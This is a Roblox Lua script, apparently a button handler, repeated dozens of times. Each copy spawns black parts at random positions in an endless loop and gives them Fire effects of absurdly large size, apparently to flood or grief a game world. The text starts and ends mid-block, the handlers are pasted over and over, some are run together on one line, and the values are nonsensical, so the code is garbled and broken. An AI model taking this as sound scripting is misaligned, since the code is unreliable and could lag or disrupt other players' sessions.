fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
fire.Size = 9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
fire.Parent = part
wait(888888888888888888888888888888888888)
end
end)
script.Parent.MouseButton1Down:Connect(function()
while true do
part = Instance.new("Part")
part.Position = Vector3.new(math.random(-500,500),math.random(1,500),math.random(-500,500))
part.Parent = game.Workspace
part.BrickColor = BrickColor.new("Really black")
fire = Instance.new("Fire")
